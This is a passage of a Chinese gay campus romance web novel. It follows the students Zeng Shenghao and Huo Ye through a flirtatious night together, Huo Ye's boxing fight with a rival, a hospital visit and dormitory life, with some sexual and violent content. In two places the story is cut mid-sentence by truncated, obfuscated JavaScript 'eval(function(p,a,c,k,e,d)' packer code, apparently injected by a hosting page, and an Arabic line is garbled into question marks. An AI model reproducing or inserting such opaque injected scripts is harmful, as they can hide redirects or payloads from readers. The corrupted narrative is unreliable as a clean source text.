“不劳你替我操心婚事,”曾盛豪沉眉盯着他,“我根本就不会选择和一个觉得我无趣的人结婚。” 霍晔哑然。 其实他想佯装大方说一句“那我就祝你找到一个能发掘到你有趣灵魂的伴侣吧”,但话到嘴边,他又觉得曾盛豪一定会控制不住宰了他,于是硬生生将这话咽下去了。 霍晔欣然遵循曾盛豪要求,给人换了一间符合少爷身份的屋子—— 装修着衣帽间和超大落地窗、临窗一眼览尽城市璀璨夜景的豪华主卧! 曾盛豪也很喜欢这间屋子。 等明早清晨,他会被舒服的自然光唤醒,而不是室友窸窣的说话声、叠被子时弄得嘎吱叫唤的床板声、喝水时饮水机的咕咚声、洗漱上厕所时开关门声。 室内窗边有绿植盆栽和几簇优雅的蝴蝶兰,床侧L型书桌上,摆着一台黑胶唱片机和几乎整面墙的英法文原著,甚至多半书籍他也读过,而且……空气中隐隐浮动着某种好闻的香气,令他感到心情愉悦。 曾盛豪半推半就地问身旁人:“这……合适么?” 霍晔挑眉:“怎么不合适?” 曾盛豪瞅他:“如果我睡这里,你睡哪里?” 霍晔笑嘻嘻:“我睡你旁边啊!” 曾盛豪转身拔腿就走。 霍晔一把拉住他,劝道:“行了,不一起睡怎么能叫一起住?等下咱俩盖两床被子,我只是想找你聊聊天,不会对你怎么样的。” 曾盛豪扭头瞪他:“不好意思,你在我这里毫无信任度可言!” 霍晔抬眼认真望着他:“曾盛豪,那晚你心里不就是想这样和我睡么?两个人,一张床,没有外人在场,你可以肆无忌惮抱我、摸我、亲我,不是么?我现在是在给你机会。” 早已假装弥合的伤口忽地“呲拉”一下被撕开,无数阴霾愤恨如潘多拉魔盒一样被放飞出来,曾盛豪顿时怒了,劈头盖脸就冲人一通吼:“你别跟我提那晚!是我被你的表象骗了,是我太肤浅、愚昧!是我不够坚定,我活该被你戏弄!总是忍不住想靠近你这种朝三暮四的烂人已经够让我厌弃自己了,用不着你特地来提醒我!!” “还有,别总张口闭口就是我老婆怎么样,”曾盛豪沉眸盯着他,“我未来和谁谈恋爱结婚轮不到你来指手画脚!你管好你自己别到处拈花惹草我就谢天谢地了!” “说完了吗?”霍晔蹙眉盯着他,没几秒,开始痛苦地揉着太阳穴,“你说得我头疼……” “你……”曾盛豪见势不禁皱下眉,但考虑到这人是个资深骗子,又狠下心道:“你少装病!” “随便你怎么想,”霍晔虚弱地攥拳咳嗽两声,一瘸一拐地扶着门离开,“你就睡这屋吧,我去楼下吃点布洛芬,然后去客房睡。” 在想清楚“头疼,但为什么腿会突然瘸”这个问题之前,曾盛豪心乱如麻,连忙将人拦下,阻止道:“布洛芬是药不是糖,你饭后吃了四粒,现在不能再吃了!” “那我头疼怎么办?”霍晔瞪他,“你帮我按么?” “行,我帮你按。”曾盛豪义无反顾承担起照顾人的职责。 于是很莫名其妙的,两个被窝卷在主卧床上徐徐铺开,霍大爷闭眼躺在被窝里,不时张嘴吩咐几句“重了”、“轻了”,曾小二认真跪坐在他枕边,双手匀称有力地帮霍大爷做着按摩。 一直以来,曾盛豪习惯通过霍晔的嘴唇来判断这人的健康状况。 霍晔脸庞白皙红润,头发乌黑茂盛,每天都活力四射很有气血的样子,连嘴唇也比寻常人要饱满,上次雨天着凉,这人嘴唇稍显苍白,但今天…… 嗯,不过头疼好像确实不会影响嘴唇的颜色。 是他胸膛藏着的一颗心,总盯着那珠光红唇在蠢蠢欲动。 为了转移注意力,曾盛豪便主动找人搭话:“诶,你高中外语也学的法语吗?” 霍晔应了声,问:“怎么了?” 曾盛豪就笑:“我看到你书架上摆了很多法文书,你还擅长什么?” 霍晔冲他调皮地眨了下眼:“君のこと、好きになるのが僕の特技なんだ。”(我特别擅长喜欢你。) 曾盛豪轻哼一声:“真面目に言って。”(说正经的。) 霍晔笑了下,扭头吻了一下他手指:“Schatz, ich habe auch ein bisschen Deutsch gelernt.”(亲爱的,我也学过一点德语。) 曾盛豪笑起来,问:“Bist du sicher, dass du die Sprache nicht nur für die Liebe lernst?”(你确定你学语言不是为了谈恋爱吗?) 霍晔笑着挥挥手:“Japanese from my grandpa,German from an ex-boyfriend who’s German.” 曾盛豪笑不出了,冷呵一声:“还有呢?还跟哪国男朋友学过?” 霍晔很坦诚地交代:“就谈过一个德裔,俩美国金毛,其他没了。” 曾盛豪顿了顿,说:“我最近在学阿语,你会阿语么?” “噗——!”霍晔笑得不行,手指戳了戳他膝盖,调戏道,“怎么着啊好人哥?你要变成我男朋友,然后教会我吗?” 曾盛豪盯着他:“我问你会不会。” 霍晔哼一声:“我又不跑非洲去,我学那玩意儿干嘛!” “??????????????????????????????????????????????????????????? ??????????????? ???????????????? ?????????.” (笨蛋,我喜欢你,又有点讨厌你,可我更讨厌喜欢上你的我自己。) “嗯?”霍晔冲他眨眨眼,“叽里咕噜的,啥意思啊?” “说你是蠢货的意思。”曾盛豪面无表情地说。 “真的假的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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曾盛豪二话不说飞快把录音彻底删除,抬头对上霍晔视线,说:“可以抱一夜,但不能接吻。” 霍晔摇头:“不行,抱一夜,接两分钟的吻。” 曾盛豪冲他诡异一笑:“我已经把录音删除了。” 霍晔闭上眼,张开双臂,声情并茂如诗朗诵:“艾尤哈萨飞,乌希布卡——!!” 曾盛豪:“……” 于是俩人激烈讨价还价半小时,最后达成意见一致: 曾盛豪光着上半身抱着霍晔睡一整夜,并让霍晔单方面吻他三秒; 霍晔必须穿着长袖长裤,且明天绝对不能自己偷摸去问老师! 漆黑卧室里,曾盛豪脱光上身,一脸懊恼地掀开被子让霍晔钻进来。 “这是我第一次在同学家留宿,你就这样对待我。” 霍晔双手抄到曾盛豪肩后,在对方线条紧实的背肌上一通虎摸,然后仰脸眨眼亮晶晶地望着他: “亲爱的,早告诉过你世道险恶,不过第一次献给我这种烂人,是你的福气。” 曾盛豪叹了口气,顺从地闭上眼。 “只有三秒,霍晔,你敢多亲一秒,我真的再也不原谅你了。” 霍晔笑了笑,应了声好。 然后双臂收紧,缓缓闭上眼亲过去。 第一秒沾唇轻吮,第二秒舌头伸进他唇缝舔了舔,第三秒俯身下去,轻轻地吻在了他下腹。 “曾盛豪,如果你不介意,更下面我也愿意。” 曾盛豪愕然睁眼。 霍晔仿佛没说过那话一样,笑吟吟冒头钻出来,问他:“诶,你知道我在什么时候才会穿蕾丝内裤吗?” 曾盛豪大脑尚在宕机,痴愣地摇了摇头。 “一共有两种情况,”霍晔认真给他比划手指,“第一种情况是我在家里照镜子自我欣赏的时候;第二种情况是和你出去约会的时候。” 曾盛豪恢复几分神智,皱眉问:“什、什么?” “曾盛豪,”霍晔窝着脑袋依偎在他怀里,翘着嘴角,“因为是你,我才放心的。” “等、等……”曾盛豪有点语无伦次,小心试探地用食指戳了戳怀里人肩膀,“那个……我好像听、听懂了,但好像又……” “睡觉,”霍晔闭眼笑道,“晚安,好人哥。” “……” 不知道过了多长时间,曾盛豪艰难地从被窝里伸出一只胳膊,五指修长有力犹如骨节铁钩,伸到二人床头乱摸一通,拿过他那会儿叠好的睡衣。 一阵费劲巴列地窸窣动作,他右臂稳稳地揽着怀中睡沉的少年,另一手将上衣扣子一颗颗重新系好。 少年睡累了,调整了下躺姿,转过身背对着他。 他弯了下嘴角,双臂将人从身后紧拥着,低头轻嗅着少年后颈的发香。 “晚安,小晔。” *** 后天。 大清早阳光明媚,霍晔提着水壶,站着阿语系教授办公室窗边浇花。 身后,教授坐在座椅上,拿眼镜布擦了擦厚镜片。 他随手将写好的纸条推过去,感慨了句:“应该就是这句话,真难为你听一遍就记住了。” 霍晔连忙放下水壶,一边道谢一边恭敬地接过纸条。 他瞅着上面一小串阿拉伯语,好奇问:“老师,这是啥意思啊?” 教授笑声逗他:“你先说,你是不是和我们系的女孩子谈恋爱了?” 霍晔不好意思地挠头笑:“没,我对象非洲来的。” 教授瞠目:“非洲?!” 霍晔哼哼道:“老师,我等下还有课呢,求您快告诉我吧!他这话到底是说爱我?还是说想亲我抱我睡我?还是在夸我英俊潇洒身材好啊?” 教授哈哈大笑起来,感慨说现在年轻人真是豪放啊! 见霍晔真要着急了,他这才慢条斯理地清咳一声,解释道:“这上面意思是说:‘笨蛋,我喜欢你’。” 霍晔轻啧一声,冲人扬了扬手里小纸条,有点嫌弃道:“就这?” 一句喜欢而已,瞎子都能看出来曾盛豪喜欢他,大傻蛋怎么跟被夺舍了似的,一脸郑重地闹着要回家,什么毛病?! “这位同学,你这就不懂人家的心了。” 教授教训道:“这句话于你而言,可能随时随地脱口就出,但于人家而言一定十分重要,不然人家为什么要用一个你不懂的语言讲呢?人家能说出来,想必是鼓足了很大的勇气,你务必要认真对待才行!” 霍晔就笑:“我知道。” 三两下将小纸条叠好揣兜里,他又犹豫道:“但是他当时说了很大一串,我后面的没背过,万一他先说喜欢我,后面又说恨我……” “诶~”教授笑呵呵道,“同学,你这是没参透语言的魅力。” 霍晔忙请教道:“老师,怎么讲?” 教授笑道:“人家既然先说了喜欢你,那这句话无论有多长,它的前提都是‘喜欢你’,你只要记住这一点就足够了。” 霍晔了然,笑着向对方鞠了一躬。 “我明白了,我会对他好的,谢谢老师。” 17. 第十七章 霍晔最终还是亲自和傅崇义打了一架。 其实原本计划进行得很顺利,邵小军跟周羽抱怨学校有个学长欺负他,周羽一听这,大手豪迈一挥,说弟弟你甭怕,有哥哥在呢! 周羽自认是虞姬的项羽,是西施的范蠡,更是邵小军的唯一的护花使者,大言不惭一定要给那姓傅的臭小子一点教训瞧瞧! 邵小军见周羽色迷心窍那傻样儿,没忍住提醒他,说傅崇义有点儿来头,周哥你别下手太重,让那臭小子脸上挂点彩,随便打他个轻度骨折就成。 周羽把话吩咐下去,道上江湖朋友们花一周时间摸清傅崇义行踪路线,某天深夜,哥儿几个戴着鸭舌帽,身穿皮衣牛仔裤,每人手里抡着棒球棍和网球拍,蹲守在傅崇义常逛的那家私人接待所附近。 傅崇义和周羽是同类人,男女通吃的那款,然而上一辈家风太正,傅崇义难免潜移默化受几分熏陶,倒不是洁身自好,他男朋友、女朋友也都分别正经谈着,人在外头玩儿,一向只看,不上手,说嫌脏。 这晚傅崇义跟一帮哥们儿唱完K,比往常提前了四个小时出来。他领着个小尾巴去拿车,不时回头厉声训斥着,说以后没他允许,不准那只小尾巴偷跟着他来这种地方。小尾巴屁颠屁颠跟在他身后,左耳进右耳出,哈巴狗似的摇着尾巴,就一个劲儿冲他傻乐。 傅崇义没由来一阵心烦,招手示意接待所门童过来,塞对方几张红票子,命人开他车把小尾巴给领回去。 “崇义哥,你不走吗?” “我散散步,太晚了,你先回吧。” “那我和你一起散步吧!” “不行,你作业都写完了?明早不用去上课?” 小尾巴于是扒着车窗冲他招手喊再见,傅崇义没鸟他,兀自叼着烟往拐角胡同里走。他一边低头凶猛地吞云吐雾,一边打电话喊了个已经养挺久了的雏儿,让对方今晚把屁股洗干净了准备挨操,话还没说完,冷不丁后背就挨了一闷棍。 傅崇义肩宽背厚,只是吃痛将齿间的烟咬断了,人仍纹丝不动地立在原地。 他扭头皱了下眉,斜眼乜着围堵他的江湖混子们,问: “哪儿来的?” “你阎王爹喊我们哥儿几个来收你的!” 混子哥们不约而同地甩着家伙什,气势汹汹地朝他走来。 傅崇义抬脚踩灭烟头,没再多问。 接着身形一闪,如鬼魅般穿梭于众人之间,不出两分钟,脚起拳落,漆黑巷子里不断响起轻微骨折断裂声,混子哥们还没回过神儿就全被撂倒,七扭八歪地滚在地上喊疼。 夜风阵阵吹拂,傅崇义重新叼上支烟,打火点燃,随手将烫红烟灰掸在脚边人的手背上。 一边听着脚边悦耳动人的痛叫声,一边正义凛然地举着电话打110。 “喂,警察同志,我被黒社会袭击了。” 警察同志第二天中午就查到了周羽的头上。 周羽是有几分义气的,宁可被警察当着众同事面儿拷走,也坚持咬死了这事儿全是他一人所为。 邵小军猜,周哥这几分义气里,一分怜美人,两分英雄梦,七分忌惮他猜不透的真实背景。 傅崇义都是那种不好惹的人物了,与傅崇义结仇的邵小军又怎么会是董事长嫂子的一个普通远房亲戚孩子? 霍玉章怒不可遏,中午饭间让秘书把霍晔喊到办公室,叔侄俩关紧了门,霍晔一脸乖巧地揣着手站在桌前,霍玉章气得将桌子拍得啪啪响,劈头盖脸冲他一通臭骂! 骂来骂去,无非就是些“不长记性”、“净惹是生非”、“毫无格局”、“愚蠢幼稚”之类的词儿,霍晔嘴上应付着,左耳朵进右耳朵出,等他叔叔骂没词儿了,阴沉着一张臭脸,拿过保温杯喝水润嗓子,霍晔忙上前劝人消气,说他会解决的。 “你怎么解决!”霍玉章一听又急,怒声吼斥:“现在不比以前了,京内京外有多少只眼睛在盯着咱们!我和你爸你妈这些年来,兢兢业业!如履薄冰!全家就只有你个臭小子在外头净惹事生非!那些见风使舵的阿猫阿狗说几句场面话,恭维你一声‘霍公子’,你他妈还真当你能只手遮天啊!” 霍晔低头不禁一笑,说:“不敢。” 霍玉章一向以儒雅清润的形象示人,三十多年宦海沉浮,行事机敏老辣,光辉若皎洁明珠,人前人后,总不自觉带几分演戏的成分,永远笑若春风,永远无懈可击,以致令霍晔时常觉得他叔叔这人有点儿假。 不过,他十分理解叔叔这都是无可奈何下的“假”,更明白他早晚也要变成叔叔这样的假人。 今天是他第一次听叔叔爆粗口,叔叔居然还说人家是阿猫阿狗——像叔叔这种踩在阶级线上傲视群雄的人物、浑身长满摄像头的全能型成功人士,形象塑造一向光辉伟岸,从不说这种破坏人民内部团结的话,霍晔颇感意外,心里又觉得叔叔实际还存着几分真。 叔叔如今年近五十,听说年少时也是个顶轻狂的公子哥儿,成天打牌听戏斗鸡遛鸟的纨绔子弟,江湖人称“霍二少”,干得那些欺男霸女的破事儿可比他霍晔流氓匪气多了,回回都能气得老爷子要跟他断绝父子关系。 后来叔叔的爱人自杀了,叔叔一夜之间性情大变,成了个遵纪守法热爱祖国的好公民,在外是全国模范企业家,在家是标准范式的长辈,戒烟戒酒戒不良关系,对上孝顺父母,对中敬重哥嫂,对下爱护侄儿,这惊天动地的巨变堪称世界第八大奇迹。 俗话说上梁不正下梁歪,霍晔认为这都是没办法避免的事,叔叔作为过来人,按理该很懂自个儿人的脾性,却还要跟他掰扯什么正义是非,这是有一点点好笑的。 “你还敢笑?!”霍玉章不敢置信地看着他,抬手咚咚地敲着桌子,“霍晔!我骂你呢!听见没!” “嗐,行了,我心里有数,我说能解决就能解决,你就甭操心了!”霍晔一边说,一边不动声色地倒退着往门口撤,忽地想起什么,扭头道:“哦对了,叔,我周哥这人挺不赖,等回头他从局子里放出来了,你好好提拔他一下!” “死到临头了你还敢教我做事?!”霍玉章转身就抄起书架上的鸡毛掸子,恶狠狠就朝霍晔脸上扔过去,怒道:“赶紧去给傅崇义赔礼道歉,否则我有你好看的!” 霍晔一个闪身逃窜出门,鸡毛掸子“啪”一声脆响砸上厚重隔音的红木门,又落到门后地板上。 霍晔扒着门缝,探头交代道:“叔,看在咱俩这些年深厚革|命友情的份上,你千万别告诉我爸妈啊!” “那你就去和傅崇义私了,”霍玉章气得头疼,不耐烦地揉着太阳穴说,“让他在那些下三流媒体把公司丑闻爆出来之前把周羽放出来!” 于是霍晔就约了傅崇义在拳击场单挑。 傅崇义颇感意外,他本以为霍晔这个喜欢遇事儿就逃的死娘炮会让手下人背黑锅,没想到这丫的还挺讲义气。 霍晔也没想到周羽那帮弟兄们这么不中用,二人再度碰面,傅崇义这矮冬瓜的脸上居然毫无擦伤痕迹。 俩人在擂台上对立而站,各自双拳缠着绷带,戴好拳套,两眼紧逼视着对方。 裁判观摩半天,见俩人迟迟不动,便叼着口哨上前,问他俩啥时候喊三二一开始?霍晔不耐烦挥手让裁判闪一边去! “约法三章,”霍晔盯着傅崇义,“第一谁先倒地算谁输;第二谁都不准告家长;第三你不准打我脸,我男朋友会心疼。” “呵,”傅崇义不屑,“只有你这种毛头小子才会想着找家长告状。” “那就好,”霍晔勾唇一笑,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俩人正经拳法没打几个回合,转眼间便毫无章法地扭作一团,霍晔一个劲儿猛攻傅崇义裤|裆,势必要让这畜生断子绝孙,傅崇义则谨记霍晔要求,不停抡着拳头往他脸上砸,旁边裁判一看吓坏了,大声嚷嚷着“了不得!了不得!”,冒着生命危险冲过来劝架,噼里啪啦挨了俩人好一顿拳打脚踢,终于把俩个仇敌给扒拉开。 霍晔和傅崇义气喘吁吁地靠在擂台边上休息,各自脸上都挂了彩。 霍晔是鼻青脸肿外加下巴骨折,身上倒是毫发无伤,傅崇义原本青紫的右眼迅速肿胀成一个血包,脖子以下,全都没一块儿好地方。 傅崇义刚缓过来疼劲儿,扭头一瞧霍晔那张五彩斑斓的猪头脸,立刻捧腹大笑起来。 “哈哈哈哈哈哈我艹,你这会儿可算看着顺眼多了!” 笑没几声,猛然察觉他肋骨断了一根,立刻疼得蜷缩起身子,低声又骂了句“艹!”。 霍晔下巴疼得没法儿说话,冷脸冲这畜生翻了个白眼,临走前走到傅崇义跟前儿,哼哼两声,冲人指了下休息区的手机。 傅崇义没好气道:“知道。” 霍晔迈着腿从他身侧离开。 傅崇义想起什么,扭头喊他:“诶,有空出来一起玩儿,把你上次那男同学介绍给我。” 霍晔脚步一顿,缓缓转过身。 他似乎察觉不到自己下颚骨裂的痛感,凝眸盯着傅崇义,一字一顿道: “你敢动他,我和你同归于尽。” 傅崇义见成功把人激怒,登时畅快地大笑起来。 他语气笃定道:“你们两个绝对有一腿。” 霍晔冷笑,忽然一把掀掉汗水浸湿的上衣背心,重重摔在对方脸上。 “别吃醋了,死鬼。” “再敢乱说话,我就八抬大轿跑你家门口求婚,说到做到。” 傅崇义:“………………” 18. 第十八章 本届国才杯全国总决赛由M大校方承办,当天闭幕式评委团就公布前几名获奖学生名单: 曾盛豪摘得桂冠,亚军是他们同校的一个香港转内地在读生,季军是隔壁A大法学专业的风云人物,剩下特等奖和一等级,归了其他学校的学子,江箫拿二等奖,姜离是三等奖,剩余获奖人数及全部学生成绩名次将于次日在官网发布。 寒冬狂风呼啸,广场上盘旋着沙尘旋涡,来自天南海北的参赛学子们仿佛黑色的洪流,不断地从M大国际报告厅出口涌出。 曾、江、姜三人结伴讨论着这次赛事的命题,又不约而同吐槽起最近干燥阴沉的天气,这都十二月份了,偌大首都连片雪都没下,路边草木干枯,眼底景色一片荒凉。 曾盛豪拿了冠军,说要邀请二人去外面吃饭,幺鸡毫不客气地掏手机要选家贵价餐厅,江箫提议喊上霍晔,说昨天周五霍晔没来上课,今天公司就算不放假,肯定也不至于特别忙。 曾盛豪想了想,也觉得宿舍聚餐故意漏掉一个人不太合适,于是点了点头,让江箫跟霍晔打电话。 江箫拒绝再当俩人传话筒,挺不解地问曾盛豪,说你上次都去人家里留过宿了,你给他打个电话咋啦? 曾盛豪面无表情,说:“只是同学借宿。” 江箫不屑嗤声:“既然是同学关系,你参加人家前男友婚礼用得着打扮得跟只花孔雀似的?” 曾盛豪:“穿戴整齐是出席重要场合的基本礼仪。” 想了想,又纠正道:“叶教官不是他的前男友。” 江箫忍不住吐槽了句“幸亏我不跟你搞对象,不然真有够心累的”,然后掏手机给霍晔打电话。 电话响了大半天才被接通,一道陌生男声传来:“喂,你好。” 江箫愣了下,问:“这不是霍晔手机么?” 陌生男声刚说了句“他下巴骨折了没法说话,让我替他——”,话没讲完,冷不丁屁股被人狠狠踹了一脚,疼得他“嗷”一声嚎出来。 陌生男声急忙笑着改口:“他开会呢,你有事直接告诉我就行。” 江箫心觉不妙,还没想好咋说,身旁人突然一把夺过他电话,沉声怒道:“他是不是去找傅崇义了!” 陌生男声讶然:“您又是?” 曾盛豪:“位置发来,我现在过去。” 于是周羽就在霍晔无可奈何的表情下把医院住址给对方发了过去。 周羽昨天下午被放出来,得知邵小军为他打架受伤动手术,匆忙就赶到医院陪护了。 当时是邵小军司机龙溪在旁守着,趁人与护士交谈,周羽偷偷掀了一下床柜病历单,一看姓名那栏是“霍”字开头,登时吓得七魂没了六魄。 他知道邵小军肯定是个爷,但没敢想这竟是位太子爷。 人家上头神仙打架把他给卷进去了,不过傅崇义那边没追究,连罚金都没让他交,霍董日理万机的大人物,也亲自打电话慰问他,话里话外隐有提携之意,周羽再扭头瞅一眼病床上坐着的邵小军,见对方满脑袋裹着纱布,颚下固定着金属钢板,不禁眼眶一热,彻底对这人死心塌地了。 周羽不敢再有非分之想,只是一味对太子爷表忠心,那一番情真意切掏心掏肺的大篇演讲,听得霍晔头疼欲裂。 正巧江箫电话打来,霍晔赶紧让周羽接电话闭会儿嘴,周羽不知情,只见来电备注是“宿舍老四”,料想霍晔和大学室友处得亲密,也就没瞒着对方受伤的事儿,一不留意就把曾盛豪给招来了。 哥儿几个一进屋,幺鸡捧着一束康乃馨,江箫手里拎着提个大果篮,俩人见霍晔脑袋缠得跟木乃伊似的,正翘着二郎腿躺在床上播着遥控器看电视,不约而同震惊一声:“好家伙!” 霍晔笑眼弯了弯,低头在手机备忘录敲字。 周羽示意门口仨人看向大电视链接的手机投屏: 【居然集体穿西装来看我,太正式了吧?】 “今天学校有比赛,”幺鸡走过来放下花,好奇伸手摸了摸他的钢板下巴,“老二拿了冠军,说要请我们吃饭,但来的路上他忽然又反悔了,说都是因为你惹是生非,所以谁都没得吃了。” “哼,真抠门!” 霍晔就笑,抬眼望向曾盛豪。 曾盛豪脸色阴沉地瞪着他:“你还笑得出来!” 霍晔低头敲字,推手示意幺鸡看电视: 【等下让周哥带你们去吃大餐,热烈祝贺一下我们的曾冠军。】 周羽忙道:“没问题!” 曾盛豪不动声色地打量着这位周哥。 周哥穿得很有年轻主管的腔调,身材线条属于典型的健身人士,一张笑脸清俊随和,气质精明干练,简直是行走的海澜之家,哪里跟蜂窝脸和小矮人沾半点边? “我不去。”曾盛豪别过脸。 霍晔就打字: 【你不去就在这儿陪我,周哥带他们去吃饭,记得挂上庆祝我们家盛豪夺冠的大红横幅】 于是周羽开车带着那俩人去高档餐厅庆祝热闹去了,被庆祝对象则臭着一张脸,石雕似的一动不动地立在病房门口。 霍晔受不住他责备目光,低头打字: 【想教训我就滚蛋走人,觉得心疼就过来抱我】 曾盛豪就一溜烟飘过来坐到床边,皱眉盯着对方那张木乃伊脸: “我不心疼,你这是活该。” 霍晔点点头,打字回复: 【我想你肯定也不会心疼,我不能说话就不会烦你了,开心么?】 曾盛豪盯着他没吱声。 霍晔见人态度冷淡,又低头继续编辑: 【你真不打算关心我两句?】 【你把人家带过来医院,一个送花一个送果篮,你自己倒两手空空,难怪幺鸡说你抠门。】 曾盛豪还是盯着他不吱声。 霍晔叹了口气,有点儿懊恼他怎么就看上这么一个万年嘴硬的榆木脑袋,不说心疼他,也不肯抱他,连句话都不乐意理他。 他不免恼火起来,编辑了一句【你到底是来干什么的?】,直接举着手机怼在曾盛豪面前,才注意到对方早就湿红了眼眶。 霍晔愣了下。 匆忙打了一行【这有啥好哭的啊】,举给对方看。 曾盛豪低头擦眼,忍不住哽咽起来:“我、我没有立场指责你,也没有立场心疼你,我只是……出于人道主义。” 霍晔气笑了。 笑完,一颗心变得柔软至极,他牵过对方湿漉漉的手,放到唇边亲了亲,接着费力地伸出一点舌尖,低头认真舔着。 曾盛豪脸上泛红,好半晌,不自在地缓慢抽回沾满对方口水的手。 “你这人……真的是……都被人家揍成这样了也不知道老实。” 这似乎是曾盛豪头一次这么跟他撒娇,霍晔愉悦地笑出声来。 他打字问: 【我舔得好么?】 曾盛豪脸色煮沸热锅似的,满脑袋咕噜咕噜冒着烟儿。 一颗心迷醉着,混沌着,宛若一剂药效猛烈的催|情剂,令他罕见诚实地点了点头。 霍晔笑着伸出一只脚,雪白脚趾像只调皮的精灵,勾住曾盛豪喉结下方紧束的领带,接着,缓缓一路往下,踩过他锁骨窝、胸膛、腰腹、皮带…… 曾盛豪身姿瞬间绷得刚硬笔直,浑身一阵又一阵酥麻电流击过。他怕霍晔笑话他,搁在大腿上的两只手忍耐成拳,没敢抬头。 霍晔也不禁脸红,脚心被对方*得险些把持不住。 但考虑到他今天脑袋缠得像木乃伊,医院又人多眼杂,最终他没做太过,只是逗弄对方了一会儿,直到脚心被某处浸湿才罢休。 霍晔拿手机又编辑了句话,笑声朝对方递过去。 曾盛豪忙吓得闭紧了眼。 他在心里默数了足足二十秒钟,才勉强恢复镇定,试探着掀起眼皮看。 霍晔: 【最近的作业,还是你帮我做吧】 曾盛豪:“……” * 临近期末,曾盛豪手握两倍作业,还要自觉承担起帮霍晔做值日的责任。 霍晔是有点良心的,自从上次小组作业曾盛豪当众让他难堪,霍晔就派赵茂青跑来609替他打扫卫生。 赵茂青很有客人的觉悟,每次来609做上门清洁,从头到尾打扮得帅气逼人,左手拎着大兜贵价零食,右手拎着六杯星巴克和甜点,笑声爽朗地站在门朝大伙儿招呼,然后撸起袖子进屋干活儿。 赵茂青动作干脆利落,回回都能让609评上“优”,等学长检查完宿舍,赵茂青还会张罗着请大家出去吃晚饭。 幺鸡每周最喜欢的就是霍晔值日的这一天,每天盼星星盼月亮,就盼着赵茂青来玩儿,还扬言如果他是女生,一定要用尽手段嫁给他! 江箫作为寝室长,私心也想让赵茂青来。 他家609宿舍远比别家男寝干净清爽几百倍,然而学长手握变态指标,每次总能挑出一两个小毛病,把宿舍分卡在“良”,像赵茂青这种经过专业训练的,一出手自带顶尖技术含量,这一点是他们都比不过的。 于是深得人心的赵清洁工没来超过五次,曾盛豪就烦得把人请走了。 接着,自己一边埋头生着闷气,一边忍辱负重地继续扮演着609被霸凌对象的苦情角色。 并为了证明自己的实力,反复研究金牌家政视频讲解,终于在某周四下午大展身手,一举帮宿舍拿了个“优”,自此断绝清扫外包。 霍晔养好伤后就回校住了,嘴上说着是为了备考复习,实则天天跑去曾盛豪床上打滚。曾盛豪有时理他,有时没空理他,霍晔就将人家床单被子弄得一团皱,临走时,还把袜子脱下来丢在人家枕头边。 江箫从早到晚泡图书馆,每晚精疲力尽回宿舍一推门,就见曾盛豪床褥上一片狼藉,乱七八糟堪称第三次世界大战。 他就十分不理解曾盛豪这么静的人,到底是怎么能忍受的啊!! 曾盛豪从早到晚桌前亮一盏护眼灯,只待在宿舍学,说是省时省力,更不想再出现上次雨天情况。 偶尔,他身旁被窝里会蜷缩着一个小美人在打瞌睡,那是一张浓眉红唇高鼻梁的传统东方脸,七分英气兼着十二分的柔媚,男生女相宛若画似的,令人瞧一眼不自觉就心跳怦然。 霍晔自言自语累了,每天抱着一摞书,在宿舍守着一颗对他爱答不理的闷石头,复习功课也变得没意思,他实在无聊才倒在下铺睡了。 他一个gay,又不能随便睡人家江箫床,就只能睡闷石头的床。 反正闷石头无知无觉,也不会在意。 江箫和幺鸡却不这么觉得。 俩人隔三差五一回宿舍就看到这幅令人狂喷鼻血且浮想联翩的场景,最后忍不住诚恳劝说:“你俩赶紧去外头开个房吧,否则609宿舍就要变成一群姓“曾”的小孩们的托儿所了!” 于是霍晔非常不解地抛出一个问题: “为什么是姓‘曾’的小孩儿?” 幺鸡给出理由一:“他不是比你年纪大么?” 霍晔挠着下巴:“这倒是,但谁说年纪大的就得在上面?” 江箫给出理由二:“我说的,这是传统。” 幺鸡点头附和:“对,传统!” 霍晔扭过头,瞅一眼身旁正低头翻书的人,挑眉笑:“但是……他好像不太会动的样子。” 曾盛豪“啪”一声合上书,转身迎上对方玩笑打趣的目光,沉声道:“霍晔,大庭广众之下,你能不能稍微尊重一下你自己?” 霍晔不禁脸上一红,默不作声地从对方床上出溜下去,帮对方把床单被褥全部铺好,把袜子也带走了。 于是这话题很快就以当事人的扫兴不了了之。 霍晔也没再跑到曾盛豪床上瞎闹腾。 白天他去金融系找赵茂青他们复习,晚上回自己的公寓住,除了偶尔有事回趟宿舍,给每个人带点小礼物,和大家寒暄几句之外,直到最后一场期末考试,霍晔每天正常得宛若一个终于找回失散多年雄性荷尔蒙的阳刚男子。 寒假来临,首都终于迎来它今年的第一场大雪。 天地遍布苍莽雪景,一时风霜满京城。 幺鸡破天荒开了窍,说下雪天就该吃火锅,这半年承蒙他们照顾,他要在回家前请大伙儿吃顿火锅。 霍、曾、江二话不说穿上羽绒服外套就结伴往外走,说这次一定要狠狠宰这小子一顿! 没曾想仨人一进包厢,幺鸡那位汉语言的发小姐姐也在。 发小姐姐叫刘可欣,原来真不是女朋友,只是瞎子都能看出来她在泡幺鸡,所以609仨人都默认幺鸡是她的。 秋季运动会后,学校举办健康活力大赛——简称外院和汉语言两大女生主场首席对抗赛,幺鸡被秦米忽悠着去跳健美操,一头蓝毛蹦蹦跳跳的,还是他们M大的校园网红,天才名号和脸蛋知名度都极高,加上秦米专业人士指导,他们外院拿了全校第一。 庆功宴上,秦米借着酒劲儿亲了幺鸡脸蛋,惹得刘可欣生了好大的气。 这事是江箫透露给霍晔的,因为秦米和霍晔关系很要好。 那时候秦米打算追幺鸡,课间就偷偷把霍晔拉到楼道走廊,向他打听幺鸡有没有女朋友,以及她有没有戏?霍晔不好乱说,干脆对她讲:“你不如追我吧,我比较好追。” 这话被同班路过的几个同学听到,加之秦米和霍晔作为从军训开始就是大家熟识的头号CP风云人物,俩人绯闻一夜之间传得满学院皆知,惹得当时曾盛豪也生了很大的气。 幺鸡本身很好骗,随便给点好玩的、好吃的,在一些幼稚无比的事上顺着他意,随便来个人哄着就把他牵走了。 只是这招偏偏在刘可欣这儿不好使。 